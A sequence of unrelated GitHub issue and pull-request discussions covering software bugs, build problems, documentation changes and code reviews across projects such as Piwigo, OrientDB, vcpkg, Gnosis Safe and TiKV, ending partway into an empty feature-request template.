Added API documentation using Doxygen

Ready for Review

@xxuejie when you have a moment, can you please review?

@sankarsubramanian Sorry for the delay, the change looks good in general, however, can we remove all the generated docs and provide a command to generate them when needed? Personally I'm not sure if we want to keep all generated docs there cuz we have to remember to keep them in sync with the real code.

@xxuejie  Removed the docs folder.
Documentation created using the Doxygen-1.8.13.dmg which contains the GUI frontend to provide the src & destination directory to create docs.

Thanks! This looks good to me, if you want feel free to add a makefile task for generating the doc files.

@xxuejie Added make to generate docs.
Please review it


after upgrade album thumbnails are huge on main page

I've upgraded Piwigo from 2.10.1 to 12.1..0 and thus bootstrap-darkroom was also upgraded to 2.5.0.
Since then there are 2 issues and I believe they are connected to the theme:

All of a sudden my main gallery page shows huge album thumbnails. Before the upgrade they looked like the ones in a sub album (see here). Couldn't find a setiing or maybe I missed it. all thumbnails are huge. Or is this the new look?
I opened https://github.com/Piwigo/Piwigo/issues/1562 but after looking into the file, I saw that it was generated from this theme. I do not know, if this is a problem with the theme, piwigo, or the smarty system.

Any ideas?

It seems that all thumbnails are now huge. At least when the "old" ones are not in the browser cache.
So this is how it looked before:

And how it looks now:

Please help. I really do not like these huge album thumbnails and I don't know how to fix this.

I believe I found another clue.
When I start off with a browsesr with a clean cache and go to the gallery these huge icons show up. I can get to the normal view when clicking on the Grid view icon  and then I have to reload the page.
After that all pages are shown correctly with the album thumbnails in the correct size.
It seems that for some reason this javascript code is not loaded on page load when the browser cache is empty.

@plegall It seems that tkuther might not be maintaining this anymore. I believe I found the problem as described in the previous comment.
Unfortunately I do not know how to fix this myself. (To reproduce this, you only have to clear your browser cache/cookies and go to a piwigo instance that is using Darkroom.)

For anyone who's running into the same issue, here's a fix:
--- include/common.inc.php.orig	2021-12-07 00:19:43.456348537 +0100
+++ include/common.inc.php	2021-12-07 00:21:41.602356432 +0100
@@ -8,6 +8,15 @@

 defined('PHPWG_ROOT_PATH') or trigger_error('Hacking attempt!', E_USER_ERROR);

+// workaround for UI garbage when cookie is missing
+// /ref https://github.com/tkuther/piwigo-bootstrap-darkroom/issues/297
+if (!isset($_COOKIE['view']))
+{
+    setcookie('view', 'grid', 0, '/');
+    header('Location: '.$_SERVER['REQUEST_URI']);
+    exit();
+}
+
 // determine the initial instant to indicate the generation time of this page
 $t2 = microtime(true);


Bump to diffoscope 85

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


dashboard.handlebars

I was able to get this moved into a handlebars templet. We will need to look at the formatting to ensure it is displaying the way it needs to display.


Handle name collisions

Currently, neither CodeQL nor DWARF properly handle 2 classes with the same name

Handled by dbf1677


[libconfig] cmake files missing when installing with project manifest file

Describe the bug
The libconfig cmake files is missing when installing libconfig in a project with vcpkg manifest file (vcpkg.json)
libconfig 1.7.3
Environment

OS: Windows 10
Compiler: vc 19.38.33134

To Reproduce

vcpkg.exe add port libconfig
vcpkg install

The content of libconfig_1.7.3_x64-windows.list show that cmake files is missing. I compared to content of a global install of libconfig.
and the project installation is missing these files:
x64-windows/include/libconfig.hh
x64-windows/share/libconfig/libconfigConfig-debug.cmake
x64-windows/share/libconfig/libconfigConfig-release.cmake
x64-windows/share/libconfig/libconfigConfig.cmake
x64-windows/share/libconfig/libconfigConfigVersion.cmake
Expected behavior
Failure logs
Content of libconfig_1.7.3_x64-windows.list from project installation
x64-windows/ x64-windows/bin/ x64-windows/bin/libconfig++.dll x64-windows/bin/libconfig++.pdb x64-windows/bin/libconfig.dll x64-windows/bin/libconfig.pdb x64-windows/debug/ x64-windows/debug/bin/ x64-windows/debug/bin/libconfig++.dll x64-windows/debug/bin/libconfig++.pdb x64-windows/debug/bin/libconfig.dll x64-windows/debug/bin/libconfig.pdb x64-windows/debug/lib/ x64-windows/debug/lib/libconfig++.lib x64-windows/debug/lib/libconfig.lib x64-windows/include/ x64-windows/include/libconfig.h x64-windows/include/libconfig.h++ x64-windows/lib/ x64-windows/lib/libconfig++.lib x64-windows/lib/libconfig.lib x64-windows/share/ x64-windows/share/libconfig/ x64-windows/share/libconfig/copyright x64-windows/share/libconfig/vcpkg.spdx.json x64-windows/share/libconfig/vcpkg_abi_info.txt
Additional context
Add any other context about the problem here.

We haven't been able to repro this; if more information comes up, or this issue appears again, please reopen.


PT-1601 | test: add more tests for send_upcoming_occurrence_sms_reminders command

Description
test: add more tests for send_upcoming_occurrence_sms_reminders command
refs PT-1601
Tickets
PT-1601

KULTUS-API branch is deployed to platta: https://kultus-pr330.api.dev.hel.ninja :rocket::rocket::rocket:


#474 Feature: upgrade contract version from interface

Closes #474
Looks like this now

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Just tested the PR build. I was not able to

Create a new Safe (wouldn't trigger any creation transaction on my wallet)
Load a Safe (shows error shown below)

I then went ahead and loaded a Safe by just putting the safe address into the URL, but it would not show an "Update" button in the settings

Hi @lukasschor, the creation and load proccess will be implemented on another pr, working on it right now.
About the update button, are you owner of that safe?, can you send me the address? thanks!

@Agupane
Yes I am connect with an owner of the Safe.
Safe: 0x686F30104044C4EBadC380aF8A5EeF9E809A0B2D
Owner I was connected with: 0x8712128BEA09C9687Df05A5D692F3750F8086C81

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Still doesn't show me the update button (even if wallet is an owner), tried it with different Safes. Does it actually work for you? @fernandomg @Agupane

Still doesn't show me the update button (even if wallet is an owner), tried it with different Safes. Does it actually work for you? @fernandomg @Agupane

@lukasschor, no, it's not working for me. I just did a code review, as it was working properly when we worked on it.
I think we need to add the REACT_APP_LATEST_SAFE_VERSION to the build.
Is it feasible to do so for this build without affecting master builds? @denisgranha

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

I've added a few tests, probably @francovenica could add automation for the frontend to check if the new version available notification is displayed but I think that won't be part of this pr @rmeissner

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

I cannot test the functionality yet. As I can not:

Create a new Safe (Metamask does not pop up)
Load existing v.1.0.0 Safe (see screenshot)

And when I load a v.1.0.0. Safe through changing the URL, it would show me this in the settings

Those items should be fixed now

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

@Agupane, please, resolve conflicts

I still get version undefined and no contract button. 🤔 (It's a 1.0.0. Safe and wallet is an owner of this Safe)

I still get version undefined and no contract button.  (It's a 1.0.0. Safe and wallet is an owner of this Safe)

@lukasschor https://github.com/gnosis/safe-react/pull/544#issuecomment-584191821

I still get version undefined and no contract button.  (It's a 1.0.0. Safe and wallet is an owner of this Safe)

@lukasschor #544 (comment)

Sorry, I missed that. Did you talk to @denisgranha already about that? Or should we just merge and test on development?

I still get version undefined and no contract button.  (It's a 1.0.0. Safe and wallet is an owner of this Safe)

@lukasschor #544 (comment)

Sorry, I missed that. Did you talk to @denisgranha already about that? Or should we just merge and test on development?

No, my bad was quoting him here and forgot to follow this. I didn't have an answer from him.

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Travis automatic deployment:
https://pr544--safereact.review.gnosisdev.com

Should we merge this with master and test there? @mikheevm


Marketplace Update: add new logos Nextcloud & Plex

Description
Update logo for Nextcloud & Plex

@hmorris3293 do we still need to take action on updating these logos?

Correct logos were not provided. @hmorris3293 is going to follow up and re-submit if they ask again.


Add playedByAmount

Each race should have a played by amount which would indicate how many players in total picked the fantasy race.

Add playedByAmount field as Number to Race schema
Increment if player pick the fantasy race

Done for player class as well


Window to small for 3 bars

hi, just tried to add a third bar in the middle of the window. But 3. bar appears below and then exceeds the whole window. How can i extend the Card-Window in this case ?  Or alternatively make bars fitting in one row ?

Hi there 👋,
Could you maybe send a screen shot or snipp of the card, so I could better understand what you mean? Thanks in advance 👍

I think I know what you mean: You mean by adding a third bar it gets moved underneath the two first ones. This is due to the width restrictions of the card itself. To sustain a reasonable amount of readability the size of the bar-containers is fixed.
Since this has been inactive for over a month,Ii will close this as stale. If you have some more information feel free to reopen the issue! 👍


allow arrow assoc while parsing value

Problem
quote {
  query[XXX].map(x => x.a -> x.b)
}

not compile
Solution
Allow  parsing ArrowAssoc to Tuple
Checklist

[x] Unit test all changes
[x] Update README.md if applicable
[x] Add [WIP] to the pull request title if it's work in progress
[x] Squash commits that aren't meaningful changes
[x] Run sbt scalariformFormat to make sure that the source files are formatted

@getquill/maintainers

:+1:

:+1:


feat: add person as delegated type

👍 solid start! Let’s soon add basic tests with minitest. We can do that in a subsequent PR. From what I see so far it would just be creating a user, asserting it’s a type of Person. Or maybe asserting the fixtures are properly associated to one another (user / person and tombstone / person)
also, we should encrypt that password field soon using the new acriverecoed column encryption. But again, later PR. This one looks good to go!

it's better to not use fixtures, they become headache very quickly.

@al3rez I’ve had very good luck using fixtures. As we start to use them I can help give guidance of what pitfalls to avoid. I’ve seen them go wrong too on projects that didn’t set them up well. It’s all about creating fixtures in a way that tells a logical story so that it’s easy to follow the relationship between the core entities, and it’s about not trying to create fixtures for every case — just for the common cases. Then individual tests create one-off records as needed and/or they modify existing fixtures as needed. When done this way, fixtures save a lot of extra boilerplate when writing tests. We just need to get them set up well.


fix: IPFS plugin

render videos
display errors when upload occurs

@thure some placeholder UI when there's upload failures so the user isn't left hanging.
Will be swapping out the IPFS backend at some point, but I assume the UI and user flows will remain the same.
cc @wittjosiah


Make text and styling changes to the share page

Overview
Switch sides of columns on share page and make text changes.
Checklist

[x] PR has a name that won't get you publicly shamed for vagueness
[ ] Files changed in the PR have been yapf-ed for style violations

Testing Instructions

Stop and start the server.
On share page, check that columns have switched over.
On share page, check the text change was made according to this.

Waiting on feedback from C70.


Different environments should load different config if available

Currently only config.php is loaded for the project regardless of environment. If available config-{env}.php should be loaded as well.

Solved by https://github.com/carbontwelve/tapestry/pull/16


matrix-dendrite: rename to dendrite

Motivation for this change
No other distro calls it matrix-dendrite: https://repology.org/project/matrix-dendrite.
They call it just dendrite: https://repology.org/project/dendrite.
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

This is fine, I only named it matrix-dendrite to match synapse.

I thought the matrix maintainers was taggable, but this should also probably get the signoff of some people from that maintainer group that commented on the previous PR.

I thought the matrix maintainers was taggable, but this should also probably get the signoff of some people from that maintainer group that commented on the previous PR.

All Matrix maintainers were pinged by ofborg.


Fixes typo in subfieldInt's hex boundary value

Issue #, if available: N/A
Description of changes:
Non-byte-encoding hex value 0xfffffffffffffff has an odd (15) number of f.
Hex value of<PHONE_NUMBER>3709551615 as basic-field Int should be 0x00ffffffffffffffff.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Looking at the subfieldVarInt and subfieldVarUInt tests, it seems that the hex encoding is not intended to represent the byte encoding of the boundary value, and it is only by coincidence that it does for all but one of the subfieldInt and subfieldUInt tests.


Drop python 3.10, add python 3.12

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 92.14%. Comparing base (7b1194c) to head (75c3b86).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #938   +/-   ##
=======================================
  Coverage   92.14%   92.14%
=======================================
  Files          19       19
  Lines        1756     1756
=======================================
  Hits         1618     1618
  Misses        138      138

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Create an empty commit on main (and push nothing else there!)

The following snippet should help you, given that you're starting with a fresh repository that does not have any commits yet.
git commit --allow-empty -m 'Initial commit'
git push origin main

Upon the completion of the task, here are the expectations:

Only 1 (one) single commit in the main branch.
The commit is supposed not to add (or remove for that matter) any files at all.
There should be 0 (zero) files appearing in the repository at this point.

P.S. It's best to do this task having read the first 3 chapters of the ProGit 2 book from #4.
P.P.S. Fixing an incorrectly created commit would require amending it, or making an interactive rebase. This may imply going through more materials from #4, googling and/or using StackOverflow.

Hello, Sviatoslav! I completed this issue.
Link to repo https://github.com/OlenaYefymenko/learn_git

@OlenaYefymenko you need to complete it in this repository, not a separate one.

@webknjaz ок, done in this repository.

Brilliant! I've applied the branch protection and pushing to main directory is now forbidden. All the following repository changes are to be made through topic branches and pull requests.


Unable to build 2.1.9 on Ubuntu

On ubuntu, I receive the following after running 'ant clean install':
compile:
    [javac] Compiling 11 source files to /home/ryan/github/orientdb/distributed/target/classes
    [javac] warning: [options] bootstrap class path not set in conjunction with -source 1.6
    [javac] /home/ryan/github/orientdb/distributed/src/main/java/com/orientechnologies/orient/server/hazelcast/OHazelcastDistributedMessageService.java:31: error: package com.hazelcast.collection.impl.queue does not exist
    [javac] import com.hazelcast.collection.impl.queue.QueueService;
    [javac]                                           ^
    [javac] /home/ryan/github/orientdb/distributed/src/main/java/com/orientechnologies/orient/server/hazelcast/OHazelcastDistributedMessageService.java:236: error: cannot find symbol
    [javac]       if (d.getServiceName().equals(QueueService.SERVICE_NAME))
    [javac]                                     ^
    [javac]   symbol:   variable QueueService
    [javac]   location: class OHazelcastDistributedMessageService
    [javac] Note: Some input files use unchecked or unsafe operations.
    [javac] Note: Recompile with -Xlint:unchecked for details.
    [javac] 2 errors
    [javac] 1 warning

BUILD FAILED
/home/ryan/github/orientdb/build.xml:133: The following error occurred while executing this line:
/home/ryan/github/orientdb/build.xml:21: The following error occurred while executing this line:
/home/ryan/github/orientdb/_base/base-build.xml:44: Compile failed; see the compiler error output for details.

I am using Oracle Java 8.
ryan@ryan-VirtualBox ~/github/orientdb $ java -version
java version "1.8.0_66"
Java(TM) SE Runtime Environment (build 1.8.0_66-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.66-b17, mixed mode)

Any tips on how to get past this? Or is the build broken?

I see also that another user was running into the same issue. He got around this by grabbing a pre-compiled version.
Has anyone been able to complete an Ubuntu build recently? It seems like this isn't just an environment problem.

Hi @rywhite, OrientDb uses maven as build system. From the project root:
mvn clean install -DskipTests

The -DskipTests option will, well, skip the tests.
Where do you find in the doc to use ant? We dismantle ant several months ago, maybe we need to fix the site or the docs.
Hope this help.

Hi @robfrank , thanks for the catch on Maven. I wasn't reading the official documentation - that looks good to me.
I still run into errors when using mvn clean install -Dskiptests. Basically, tests are still being run, because 3 are failing.
Failed tests:
  HttpConnectionTest.testConnectAutoDisconnectKeepAlive:57->testConnectAutoDisconnect:83 expected [200] but found [500]
  HttpConnectionTest.testConnectAutoDisconnectNoKeepAlive:63->testConnectAutoDisconnect:83 expected [200] but found [500]
  HttpBatchTest.batchUpdate:65->batchWithEmpty:83 expected [200] but found [500]

Tests run: 51, Failures: 3, Errors: 0, Skipped: 0

I was able to get around this by instead running mvn clean install -Dmaven.test.skip=true. This gave me a successful build.
[INFO] Installing /home/ryan/github/orientdb/distribution/target/orientdb-community-2.1.9.zip to /home/ryan/.m2/repository/com/orientechnologies/orientdb-community/2.1.9/orientdb-community-2.1.9.zip
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary:
[INFO]
[INFO] OrientDB .......................................... SUCCESS [3.330s]
[INFO] OrientDB Test Commons ............................. SUCCESS [3.919s]
[INFO] OrientDB Core ..................................... SUCCESS [19.808s]
[INFO] OrientDB Enterprise ............................... SUCCESS [2.104s]
[INFO] OrientDB Client ................................... SUCCESS [2.562s]
[INFO] OrientDB Object ................................... SUCCESS [4.364s]
[INFO] OrientDB Server ................................... SUCCESS [6.126s]
[INFO] OrientDB Tools .................................... SUCCESS [2.490s]
[INFO] OrientDB GraphDB .................................. SUCCESS [1:42.783s]
[INFO] OrientDB Tests .................................... SUCCESS [0.388s]
[INFO] OrientDB Distributed Server ....................... SUCCESS [6.392s]
[INFO] OrientDB Lucene full text and spatial index ....... SUCCESS [32.713s]
[INFO] OrientDB JDBC Driver .............................. SUCCESS [18.247s]
[INFO] OrientDB ETL ...................................... SUCCESS [10.673s]
[INFO] OrientDB Community Distribution ................... SUCCESS [26.091s]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4:02.655s
[INFO] Finished at: Thu Jan 21 10:48:25 EST 2016
[INFO] Final Memory: 116M/420M
[INFO] ------------------------------------------------------------------------

However, I still don't have a releases directory anywhere (not in the parent directory, nor in the orientdb source folder). I assume that my build is still not completing successfully?
ryan@ryan-VirtualBox ~/github $ ls -a
.  ..  orientdb
ryan@ryan-VirtualBox ~/github $ cd orientdb/
ryan@ryan-VirtualBox ~/github/orientdb $ ls -a
.          client           enterprise  history.txt  object      test-commons
..         CONTRIBUTING.md  etl         jdbc         pom.xml     tests
_base      core             .git        jmh-tests    README.md   tools
build.bat  distributed      .gitignore  license.txt  readme.txt  .travis.yml
build.xml  distribution     graphdb     lucene       server      upgrade.txt

Hi @rywhite
I think -DskipTests is case sensitive.
I hope it helps
Luigi

Hi, as stated by @luigidellaquila skipTests is case sensitive.
BTW, you can find the zip or tar.gz under distribution/target/

@luigidellaquila You're right! Ran it successfully with that parameter.
I still don't have any releases directory. Has the result of the build process changed, where it now dumps a tarball to distribution/target, rather than an extracted directory under ../releases/?

you can find packages under distribution/target/

OK, gotcha. Thanks for the help guys!
@robfrank - FYI, the documentation on installing from source still mentions there is a releases directory created.

I @rywhite, I'm fixing and improving the docs.

documentation fixed, will be visible at next rendering


Dynamic Font -OR- DRCS support?

Are there any plans for DRCS support? This part of the VT220 and upwards specs, but the VT132 does support it while being a VT100 emulator.
DRCS would enable the use of user defined fonts in a program, which is more flexible than adding fonts in the firmware itself
Or are there other means to dynamically add fonts which I've overlooked?
(See https://vt100.net/docs/vt220-rm/chapter4.html for DRCS support)

Hi Frlee42,
There are some plan for dynamic font support.
We still have some work to be done before.

Thanks voor your reply.. is there any chance you'll focus on the DRCS
(DECDLD) standard? This would enable to have software running for multiple
terminals and terminal emulators.
I'm writing a font editor with DRCS support (still a long way to go). Apart
from the VT220 terminals and higher (although with different character cell
sizes) , the VT132 does support this also.
Best regards
Frank
Op za 15 apr. 2023 02:22 schreef MCHobby @.***>:

Hi Frlee42,
There are some plan for dynamic font support.
We still have some work to be done before.
—
Reply to this email directly, view it on GitHub
https://github.com/RC2014Z80/picoterm/issues/41#issuecomment-1509420875,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXPNEJAIRLDZLYENAVVO6LXBHS25ANCNFSM6AAAAAAWXFYSGA
.
You are receiving this because you authored the thread.Message ID:
@.***>


[PORT] Added StringUtils

Fixes #2121
Description

Added StringUtils to provide ellipsis and hash code.
Specific Changes

Added StringUtils
Replaced computehash function with StringUtils.hash
Truncate onComputeId with StringUtils.ellipsis

Testing

Added test case for StringUtils.

Pull Request Test Coverage Report for Build 146793

42 of 46 (91.3%)  changed or added relevant lines in 12 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.02%) to 80.809%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

libraries/botbuilder-dialogs-adaptive/src/actions/beginSkill.ts
4
5
80.0%

libraries/botbuilder-dialogs-adaptive/src/actions/codeAction.ts
1
2
50.0%

libraries/botbuilder-dialogs-adaptive/src/actions/sendActivity.ts
3
4
75.0%

libraries/botbuilder-dialogs-adaptive/src/actions/updateActivity.ts
3
4
75.0%

Totals

Change from base Build 146682:
-0.02%

Covered Lines:
13256

Relevant Lines:
15636

💛  - Coveralls


Video quality issue with Basic Portrait feature for iOS 16.4.1 users

Hello,
We have noticed a significant drop in video quality when using the Basic Portrait feature to broadcast with the Amazon-IVS-Broadcast library on iOS 16.4.1. We would like to open an issue to address this problem.
The issue is as follows: when users with iOS 16.4.1 installed use the Basic Portrait feature to broadcast, the video quality drops drastically to the point where it becomes unwatchable. However, users who do not have iOS 16.4.1 installed are able to broadcast using the Basic Portrait feature and achieve good video quality.
If you have any insights into the cause and solution for this problem, please let us know. We will do our best to investigate and find a solution.
Thank you.

Hey @cemnisan, unfortunately there was a bug in iOS 16.4.x causing this. There are 2 workarounds for now

Enable B-frames in your video configuration.
Upgrade to iOS 16.5 Beta 3+

Thankfully Apple fixed the issue rather quickly, but it does leave us with the unfortunate situation of having iOS 16.4 be a problem OS version when B-frames are disabled.

Hello @bclymer,
Thank you for your response.
For iOS 16.4.1, enable usesBFrames worked. We will use this feature only  for iOS 16.4.1 users. Thank you for your support.


quizzer

Score: 4/5
Good job. Just two notes of syntax:

you need to close your conditional statements with end aka:

if foo
   do a thing
else
   do another thing
end

on question 2, you need to pass the parameters of okay_to_drink into is_of_age?


Fix all mypy static type-checking errors

Currently the static typing in the finq code contains some errors.
You can see these by running poetry run mypy finq.
These should be resolved.

Won't do. Maybe later. Will create new issue then.


Spanner: argument type error of retryFunction on ExponentialBackoff

Hi, we got a type error when executing query with non-UTF8 character.
Uncaught TypeError: Argument 1 passed to Google\Cloud\Spanner\Result::Google\Cloud\Spanner\{closure}() must be an instance of Google\Cloud\Core\Exception\ServiceException, instance of ErrorException given in /src/vendor/google/cloud-spanner/src/Result.php:181
Stack trace:
#0 [internal function]: Google\Cloud\Spanner\Result->Google\Cloud\Spanner\{closure}(Object(ErrorException))
#1 /src/vendor/google/cloud-core/src/ExponentialBackoff.php(77): call_user_func(Object(Closure), Object(ErrorException))

retryFunction expects a ServiceException, but ErrorException (Given string is not UTF8 encoded ) was thrown.
        $backoff = new ExponentialBackoff($this->retries, function (ServiceException $ex) {
            return $ex->getCode() === Grpc\STATUS_UNAVAILABLE;
        });

Environment details

google/cloud-spanner version: v1.11.7

Steps to reproduce
For example, it can be reproduced by executing a query containing non-UTF8 character.
function exception_error_handler($severity, $message, $file, $line) {
    if (!(error_reporting() & $severity)) {
        return;
    }
    throw new ErrorException($message, 0, $severity, $file, $line);
}
set_error_handler("exception_error_handler");

...

$db->execute('SELECT "'.mb_convert_encoding('世界', 'Shift_JIS').'"')->rows()->current();

Hi @castaneai, thank you kindly for the report. I've opened https://github.com/googleapis/google-cloud-php/pull/1721 which will bubble up the underlying fatal error in a manner consistent with PHP5.
Please let me know if this resolves your issue.


Update recommendation for storage per vCPU to 150GiB on the Production Checklist doc

Re: Production Checklist
Issue Description
we have two contradicting recommendations for storage per vCPU

60GB per vCPU
150GB per vCPU

Suggested Resolution
Please clarify

cc: @a-entin

It was recently updated from 60 (as of 19.x) to 150 (as of 20.x). one place was apparently overlooked. Should be 150 in both places as of 20.x of course

@Amruta-Ranade Can I work on this doc update?

@AninditaBasu, I'd actually prefer that @taroface takes this issue, as it relates to updates he recently made.
@taroface, I think we updated to 150 in some places but not in all places on the checklist. Can you please take a look?

Fixed. Thanks @dbist for filing.


Korean translation is done.

My Korean translation is done.
Such a nice game. It was my pleasure to have an opportunity to share this game to more people.

Awesome! Thank you so much @Jinsung-L ! :)


Is it possible to use Date rather than version number?

Let's say you are interested to know the dates that different fields were updated in a document.
Am I able to use a Date field rather than "version"? Or does this feature already exist and I'm showing my nativity?
Currently data would look like this (I assume):
{
  _id: "4c6b9456f61f000000007ba6"
  latitude: [
    { version: 1, value:<PHONE_NUMBER> },
    { version: 6, value:<PHONE_NUMBER> }
  ]
}

Proposed Option would be stored like this
{
  _id: "4c6b9456f61f000000007ba6"
   latitude: [
    { date: 20150101, value:<PHONE_NUMBER> },
    { date: 20150201, value:<PHONE_NUMBER> }
  ]
}

I had the same concern and ending up using
mongoose timestamps option property in my shema:
http://mongoosejs.com/docs/guide.html#timestamps
That did the trick


Adding events not described in help or README?

I would like to add some events with gcalcli add.
But when I try the following
gcalcli add test, I get this:
The following options are either no longer valid globally or just plain invalid:
  test

Then
gcalcli add 02/07/2019, I get this:
The following options are either no longer valid globally or just plain invalid:
  02/07/2019

I cannot find any instructions in README.md or in gcalcli -h how to add events.
Am I looking in the wrong places?

gcalcli add --help
usage: gcalcli add [-h]
                   [--details {all,calendar,location,length,reminders,description,longurl,shorturl,url,attendees,email,attachments}]
                   [--reminder REMINDERS] [--default-reminders]
                   [--color EVENT_COLOR] [--title TITLE] [--who WHO]
                   [--where WHERE] [--when WHEN] [--duration DURATION]
                   [--description DESCRIPTION] [--allday] [--noprompt]

Add an event to the calendar. Some or all metadata can be passed as options
(see optional arguments). If incomplete, will drop to an interactive prompt
requesting remaining data.

optional arguments:
  -h, --help            show this help message and exit
  --details {all,calendar,location,length,reminders,description,longurl,shorturl,url,attendees,email,attachments}
                        Which parts to display, can be: all, calendar,
                        location, length, reminders, description, longurl,
                        shorturl, url, attendees, email, attachments
  --reminder REMINDERS  Reminders in the form "TIME METH" or "TIME". TIME is a
                        number which may be followed by an optional "w", "d",
                        "h", or "m" (meaning weeks, days, hours, minutes) and
                        default to minutes. METH is a string "popup", "email",
                        or "sms" and defaults to popup.
  --default-reminders   If no --reminder is given, use the defaults. If this
                        is false, do not create any reminders.
  --color EVENT_COLOR   Color of event in browser (overrides default). Choose
                        from lavender, sage, grape, flamingo, banana,
                        tangerine, peacock, graphite, blueberry, basil,
                        tomato.
  --title TITLE         Event title
  --who WHO             Event title
  --where WHERE         Event location
  --when WHEN           Event time
  --duration DURATION   Event duration in minutes or days if --allday is
                        given.
  --description DESCRIPTION
                        Event description
  --allday              If --allday is given, the event will be an all-day
                        event (possibly multi-day if --duration is greater
                        than 1). The time part of the --when will be ignored.
  --noprompt            Don't prompt for missing data when adding events


Added dockerfile for production use.

This PR adds a simple Dockerfile as request in the issue #9. It is based on alpine-node and therefore on alpine linux, which decreases the image file sizes significantly. The official docker distributions will eventually be switched to alpine (see comment by shykes).
It currently runs the production environment but we might wan't to add a second Dockerfile to run this starterkit in development mode with the code mounted as volume, so devs can change code on the fly.

Beautiful


Click to edit idb table Values

A DB Query Browser-like functionality where double-clicking a string/int field will allow editing, or boolean checkboxes can be clicked to toggle. Then, a button to apply changes will run the queries.
This would really only work with tables that have a primary key as with the query browser in the designer.

This would require some larger scale refactoring; right now all sqlite connections are read-only. Also, e.g. the gwbk explorer extracts to a temp directory; if edits are allowed it needs to be able to zip back up once edits are done.
It's a fun idea though, for sure.

https://github.com/inductiveautomation/kindling/issues/15


backport of rcbops/rpc-openstack/pull/333

testing wasn't backported so wasn't a straight cherrypick.
Signed-off-by: Matthew Thode<EMAIL_ADDRESS>

:+1:

-1 the commit message 5e20294 needs to be improved, it should include the relevant information from the original commit. Also it looks like there is a merge commit as part of the pull request, which should be removed.

If we are going to block on merge commits, then we need to block the 'update branch' button from showing up.  Because that's what I hit...

closing in favor of #417


Fix typo in technical.md

Fix small typo on line 27: "cound" to "could"

Thank you for your contribution!


deprecate GILPool

I realised this is part of the GIL Refs API yet to be deprecated!
... this one might be worth adding a CHANGELOG entry for?

... this one might be worth adding a CHANGELOG entry for?

Definitely. Or even a sentence in the migration guide? And in the section where GILPool usage is explained if that is not completely gone after the docs rewrite.
I think the advice would be along the lines of "the coarse-grained memory management using GILPool is replaced by each Bound fulfilling the same role of each individual object"?

Thanks for the review! I will aim to fixup tomorrow evening 👍

Sickness in the family again has left me wiped out, I am hoping to get to this tomorrow evening now...

Ok; that's done. As it was just wording changes I'll proceed to merge and then see what else can be tidied up ahead of the final 0.21 release.


Change PeerTicks to a simple enum

PeerTicks is defined as bitflags:
https://github.com/tikv/tikv/blob/0743109814002b23d539379777a33c56797362fb/components/raftstore/src/store/msg.rs#L183
But PeerTicks doesn't need to be bitflags. Only when scheduling ticks need we check if a PeerTick exists in a set, but it can be achieved in other ways efficiently too.
It also makes extending the types of PeerTick more difficult. It is now defined as u8 and if we need more tick types, we have to change it to u16. It also wastes space because tick_batch needs 2^n space where n is the type of ticks.
Therefore, I think it more appropriate to define PeerTicks as an enum. This will make it easier to extend more tick types.

...because tick_batch needs 2^n space where n is the type of ticks.

Can changing index to BitFlags::bits().trailing_zeros() solve the problem?

Can changing index to BitFlags::bits().trailing_zeros() solve the problem?

Yes. But actually the biggest motivation is that using an enum is more semantically reasonable. When using a PeerTicks, we never combine multiple flags, so that's not bitflags typically used for.
If we really want to save space for the registry, we can just use a bitset for that.

bitset LGTM. The reason BitFlags is used is for querying and updating registry quickly. Space is not in concern.

bitset LGTM. The reason BitFlags is used is for querying and updating registry quickly. Space is not in concern.

Then, PTAL the current implementation of #11849. It's now using a bool array for registry, which seems faster than bit operations, according to microbenchmarks:
#[bench]
fn bench_bool_arr_get(b: &mut Bencher) {
    let v = [true; 16];
    b.iter(|| {
        for i in 0..1000 {
            let pos = i % 16;
            black_box(black_box(&v)[pos]);
        }
    });
}

#[bench]
fn bench_bool_arr_set(b: &mut Bencher) {
    let mut v = [false; 16];
    b.iter(|| {
        for i in 0..1000 {
            let pos = i % 16;
            black_box(&mut v)[pos] = true;
        }
    });
}

#[bench]
fn bench_bitset_get(b: &mut Bencher) {
    let v = 0xabcdu16;
    b.iter(|| {
        for i in 0..1000 {
            let pos = i % 16;
            black_box(black_box(&v) & (1 << pos) != 0);
        }
    });
}

#[bench]
fn bench_bitset_set(b: &mut Bencher) {
    let mut v = 0u16;
    b.iter(|| {
        for i in 0..1000 {
            let pos = i % 16;
            *black_box(&mut v) |= 1 << pos;
        }
    });
}

The result:
test bench_bitset_get   ... bench:         428 ns/iter (+/- 2)
test bench_bitset_set   ... bench:       1,273 ns/iter (+/- 145)
test bench_bool_arr_get ... bench:         425 ns/iter (+/- 5)
test bench_bool_arr_set ... bench:         887 ns/iter (+/- 9)


Some sort of loading sign feedback when clicking pay button (OCC-103)

Is your feature request related to a problem? Please describe
